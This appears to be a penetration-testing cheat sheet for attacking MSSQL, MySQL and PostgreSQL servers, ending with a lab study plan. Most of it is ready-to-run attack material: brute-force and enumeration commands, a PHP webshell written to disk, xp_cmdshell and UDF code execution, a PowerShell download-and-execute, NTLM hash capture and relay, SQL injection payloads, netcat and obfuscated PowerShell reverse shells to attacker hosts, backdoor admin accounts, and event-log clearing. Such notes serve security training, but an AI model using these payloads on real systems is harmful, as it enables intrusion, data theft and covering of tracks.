SQL
Learning Objectives
Understand SQL databases as high-value targets for data exfiltration, RCE, and lateral movement.
Differentiate between database types (e.g., MSSQL vs. MySQL) and their common deployments (e.g., web app backends).
Attack Surface Overview
# Common Vectors
- Misconfigurations (exposed ports, weak auth)
- SQL Injection (web → DB)
- Auth bypass / brute-force
- Privilege escalation (stored procs, UDFs)
- RCE via xp_cmdshell / UDF
- NTLM relay & hash stealing
- Linked server pivotingEnumeration (Stealth → Aggressive)
# 1. Fast Port Discovery (Enhanced with Masscan for speed)
masscan -p1433,1434,3306,5432 --rate=1000 --open-only 10.10.10.0/24 # Faster than nmap for large ranges
# Or RustScan for even quicker results: rustscan -a 10.10.10.0/24 -- -sV -sC
# 2. Service Fingerprinting + Scripts (Add timing for stealth)
nmap -Pn -sV -sC -p1433 --script=ms-sql* --max-rate 100 -T2 # -T2 for slower, stealthier scan
nmap -Pn -sV -sC -p3306 --script=mysql* --max-rate 100 -T2 # PostgreSQL Enum
nmap -Pn -sV -sC -p5432 --script=postgres* # Includes postgres-info, postgres-roles
# 3. Advanced MSSQL Enum (Add NTLM info for relay prep)
nmap -p1433 --script=ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password,ms-sql-hasdbaccess,ms-sql-hashes-hashdump
# 4. MySQL Deep Scan
nmap -p3306 --script=mysql-databases,mysql-users,mysql-variables,mysql-empty-password,mysql-info
# 5. PostgreSQL Deep Scan (New)
nmap -p5432 --script=postgres-database,postgres-roles,postgres-user,postgres-lang-extensions
# 6. Metasploit Auxiliaries (Parallelize with resource scripts)
use auxiliary/scanner/mssql/mssql_login set RHOSTS ; set USER_FILE users.txt; set PASS_FILE pass.txt; run
# CrackMapExec for MSSQL (faster, multi-protocol)
crackmapexec mssql -u users.txt -p pass.txt --shares # Also checks shares for pivotsAuthentication & Misconfigurations
# Brute Force (Enhanced with timing/delays)
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -t 4 mssql # -t 4 threads to avoid lockouts
medusa -h -u sa -P rockyou.txt -M mssql -T 10 # Parallel threads
# Gobuster for web-exposed mgmt (e.g., phpMyAdmin)
gobuster dir -u http:///phpmyadmin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt
# Impacket (Pass-the-Hash/Ticket)
mssqlclient.py DOMAIN/user@ -hashes :NThash
# For Kerberos: getTGT.py DOMAIN/user:pass; mssqlclient.py DOMAIN/user@ -k -no-pass
# MySQL Skip Grant Tables (if local access; add for root escalation)
mysql --skip-grant-tables -h FLUSH PRIVILEGES; ALTER USER 'root'@'localhost' IDENTIFIED BY 'newpass'; FLUSH PRIVILEGES; # Restart MySQL to applyCommon Weak Configs
- sa blank password or 'Password123'
- Mixed mode enabled + weak SQL logins (check with: SELECT name, is_disabled FROM sys.sql_logins)
- MySQL: old_passwords=1 (MySQL323 hashing) or validate_password plugin disabled - Anonymous login: mysql -u '' -h <IP>
- Exposed phpMyAdmin / SQL Server Management Studio / pgAdmin
- PostgreSQL: trust auth in pg_hba.conf (psql -h -U postgres)
- Default trust for localhost (bypass with loopback pivots)Protocol-Specific Attacks
MySQL
# Connect
mysql -u root -p -h
# Enum (Add schema details)
SHOW DATABASES; USE dvwa; SHOW TABLES; DESCRIBE users;
SELECT user, password, plugin FROM mysql.user; # Check auth plugins
SHOW VARIABLES LIKE 'secure_file_priv'; # For file ops restrictions
# File Read (Bypass secure_file_priv if set)
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('C:/Windows/System32/drivers/etc/hosts'); # Cross-OS
# File Write (Webshell; check writable dir first)
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
# Hex encode for WAF bypass:
SELECT 0x3C3F7068702073797374656D28245f4745545B22636D64225D293B203F3E INTO OUTFILE ...
# UDF RCE (requires FILE priv + writable plugin dir)
# Upload lib_mysqludf_sys.so → /usr/lib/mysql/plugin/ (use scp or TFTP)
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id > /tmp/out; chmod +x /tmp/out');
# Variable-based RCE:
SET @a = 'whoami'; SELECT @a INTO OUTFILE '/tmp/cmd'; LOAD_FILE('/tmp/cmd');MSSQL
# Connect (Linux)
mssqlclient.py sa@ -windows-auth
sqlcmd -S -U sa -P Password123
# sqsh for interactive:
sqsh -S -U sa -P pass
# Enable xp_cmdshell (Check first: EXEC sp_configure 'xp_cmdshell';)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# RCE
xp_cmdshell 'whoami'
xp_cmdshell 'powershell IEX(New-Object Net.WebClient).DownloadString("http:///rev.ps1")'
# CLR Assembly RCE (if .NET enabled): CREATE ASSEMBLY [asm] FROM 0x...;
CREATE FUNCTION... EXEC asm::func();
# File Read
SELECT * FROM OPENROWSET(BULK N'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS Contents;
# Hash Capture (NTLMv2; coerce with dirtree)
EXEC master..xp_dirtree "\\10.10.10.10\share\";
# Listener: responder -I eth0 -wrf -v
impacket-smbserver share . -smb2support
# Use ntlmrelayx.py for auto-relay to SMB/DC
ntlmrelayx.py -t smb:// --lootPostgreSQL
# Connect
psql -h <IP> -U postgres -d template1
# Enum
\l # List databases
\dt # List tables
SELECT current_database(), current_user, version();
SELECT schemaname, tablename FROM pg_tables;
# File Read (requires superuser)
COPY (SELECT pg_read_file('/etc/passwd')) TO '/tmp/out'; # Or use extensions
# RCE via PL/PythonU (if enabled; check \dx for extensions)
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int AS $$
import os
os.system(args[0])
$$ LANGUAGE plpythonu;
SELECT sys_exec('whoami');
# COPY TO PROGRAM for shell:
COPY (SELECT '') TO PROGRAM 'bash -c "whoami > /tmp/out"';
# PrivEsc: Role chaining
SELECT rolname, rolinherit FROM pg_roles WHERE rolinherit = true;
SET ROLE target_role; # Impersonate if grantedImpersonation & PrivEsc
-- List impersonatable users (MSSQL)
SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE permission_name = 'IMPERSONATE';
-- Impersonate
EXECUTE AS LOGIN = 'sa';
SELECT IS_SRVROLEMEMBER('sysadmin'); -- 1 = yes
REVERT;
-- MSSQL Role Chaining
EXECUTE AS USER = 'lowpriv'; -- If granted impersonate
SELECT * FROM sys.fn_my_permissions(NULL, 'DATABASE'); # Check effective perms REVERT;
-- MySQL: Grant escalation
GRANT FILE ON *.* TO 'lowuser'@'%'; # If you control a higher privLinked Servers (Lateral Movement)
SELECT srvname, is_remote, provider_name FROM sys.servers; # Check linked types EXEC('SELECT @@version') AT [LINKED_SERVER];
EXEC('xp_cmdshell ''net user hacker P@ssw0rd! /add''') AT [DOMAIN\DC01];
# Chained query for exfil:
SELECT * FROM OPENQUERY([LINKED], 'SELECT * FROM sensitive_table');SQL Injection (SQLi) – Must-Know
# Manual Testing (Add error-based)
OR 1=1--
UNION SELECT NULL, user, password FROM users--
AND (SELECT SUBSTRING(@@version,1,1)) = 'M'
# DB type blind ' AND 1=CAST((SELECT COUNT(*) FROM users) AS INT)-- # Error-based MSSQL
# Time-Based Blind
; IF (1=1) WAITFOR DELAY '0:0:5'-- # MSSQL
; SELECT IF(1=1, SLEEP(5), 0)-- # MySQL
# WAF Bypass Techniques
OR 1=1 # (Comment variations: /**/, %23)
UNION ALL SELECT NULL-- - (Case: UnIoN)
# Automated (Add Burp Intruder for custom fuzzing)
sqlmap -u "http://target/login.php" --dbms=mysql --dbs --forms --batch --tamper=space2comment
# Tamper for evasion
sqlmap -u "http://target/page.asp?id=1" --os-shell --dbms=mssql --level=5 --risk=3 # High thoroughness
# Burp Suite: Proxy traffic, use Intruder with payloads like ' OR SLEEP(5)-- for blind testing. Export to sqlmap via --burp flag.Payload Cheat Sheet
MySQL:
' UNION SELECT database(), user()--
' INTO OUTFILE '/var/www/html/shell.php'
'; SELECT BENCHMARK(10000000,MD5(1))-- # CPU-based blind
MSSQL:
'; EXEC xp_cmdshell 'net user'--
' UNION SELECT NULL, @@version--
'; SELECT * FROM OPENROWSET(BULK N'\\attacker\share\out.txt', SINGLE_CLOB) AS x--
PostgreSQL (New):
' UNION SELECT version(), current_user--
'; COPY (SELECT '') TO PROGRAM 'bash -c "nc -e /bin/sh attacker_ip 4444"'--Latest CVEs (2024–2025)
MSSQL:
- CVE-2025-49758: SQL Injection in SQL Server via improper neutralization. └ Exploit: Custom queries in stored procs; Metasploit module pending.
- CVE-2025-55227: Spoofing in JDBC Driver for SQL Server. └ Bypass auth in Java apps: Use malformed connections.
MySQL:
- CVE-2024-21196: Low-priv compromise via multiple protocols. └ Auth bypass: Exploit handshake flaws in 8.0.x.
- CVE-2024-21125: FTS component vulnerability in MySQL Server. └ RCE via full-text search queries; PoC on GitHub.
PostgreSQL:
- CVE-2025-1094: SQL Injection in quoting APIs for CLI tools. └ Inject via psql args: psql -c "'; DROP TABLE users;--".
- CVE-2025-8714: Code injection in pg_dump for superusers. └ Restore-time RCE: Malicious dump file.# Scan with Nuclei (Enhanced)
nuclei -u -t cves/2024/CVE-2024-21196.yaml -t cves/2025/CVE-2025-49758.yaml -severity critical,high
# Custom YAML for PoCs: Download from Exploit-DB, test in lab.Post-Exploitation & Persistence
-- Add backdoor user (MSSQL)
CREATE LOGIN hacker WITH PASSWORD = 'P@ssw0rd!';
EXEC sp_addsrvrolemember 'hacker', 'sysadmin';
-- MySQL: CREATE USER 'hacker'@'%' IDENTIFIED BY 'pass'; GRANT ALL ON *.* TO 'hacker'@'%';
-- Exfil via DNS (if blocked outbound; use custom functions)
-- MSSQL DNS Exfil: DECLARE @q CURSOR; ... FETCH NEXT FROM @q INTO @host; # Query to trigger TXT lookups
-- Reverse Shell (Obfuscated)
xp_cmdshell 'powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient(''10.10.10.10'',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb + ''PS ''+$pwd+''> ''; $sb1=[text.encoding]::ASCII.GetBytes($sb2);$s.Write($sb1,0,$sb1.Length);$s.Flush()};$c.Close()"'
# Persistence: Scheduled job (MSSQL): EXEC msdb.dbo.sp_add_job @job_name='Backdoor'; ... EXEC @job_id=msdb.dbo.sp_add_jobstep ...
-- Cleanup:
xp_cmdshell 'wevtutil cl application'; # Clear logsKey Commands Summary (Copy-Paste Ready)
# Nmap (Stealth)
nmap -p1433 --script=ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password -T2
# Connect
mssqlclient.py sa@ -windows-auth
mysql -u root -p -h
psql -h -U postgres
# RCE
xp_cmdshell 'whoami'
SELECT sys_exec('id');
COPY (SELECT '') TO PROGRAM 'nc -e /bin/sh 10.10.10.10 4444';
# File Ops
SELECT LOAD_FILE('/etc/passwd');
SELECT * FROM OPENROWSET(BULK 'C:\file.txt', SINGLE_CLOB);
COPY (SELECT pg_read_file('/etc/passwd')) TO STDOUT;
# Hash Steal
EXEC xp_dirtree '\\\share\';
responder -I eth0
crackmapexec mssql -u sa -p pass --local-auth
# SQLi
sqlmap -u "http://site/page.php?id=1" --dbs --os-shell --tamper=space2commentPrep & Practice Plan
Weekly Schedule (4-Week Cycle):
[ ] Mon: 30 min theory/CVEs + 60 min manual enum/auth
[ ] Tue-Thu: 120 min lab attacks (rotate DB types)
[ ] Fri: 45 min SQLi/Burp practice + 30 min evasion tweaks
[ ] Sat: 90 min full chain (enum → RCE → exfil) + report writing
[ ] Sun: Review notes, mock exam Q&A (e.g., "Explain xp_cmdshell risks")
Daily Checklist:
[ ] 30 min: Review theory + CVEs (NVD/Exploit-DB)
[ ] 90 min: Lab (document steps/screenshots)
[ ] 30 min: Write report snippet (finding → exploit → impact → mitigation)
[ ] **New:** 15 min: Quiz yourself (e.g., "Bypass WAF on this payload")
Labs (Expanded):
- DVWA (SQLi all types) – Local Docker setup
- Metasploitable 3 (MSSQL misconfigs) – VulnHub download
- HackTheBox: "SQL" tagged (e.g., "Resolute" for AD-linked MSSQL), "PostgreSQL" machines like "Postman"
- TryHackMe: "SQL Injection", "MSSQL for Pentesters", "PostgreSQL Basics"
- VulnHub: "Kioptrix" series (MySQL), "DC-1" (MSSQL pivots)
- Proving Grounds: "SQL-Lab" for timed challenges
- Custom: Docker-compose MSSQL/MySQL/Postgres with vulnerable apps (e.g., from GitHub "vulnerable-sql-db")
Mock Exams:
- Simulate 2-hour pentest: Target a lab machine, produce 5-page report.
- Resources: eJPT/PKP materials, "The Web Application Hacker's Handbook" Ch. 5-6.Last updated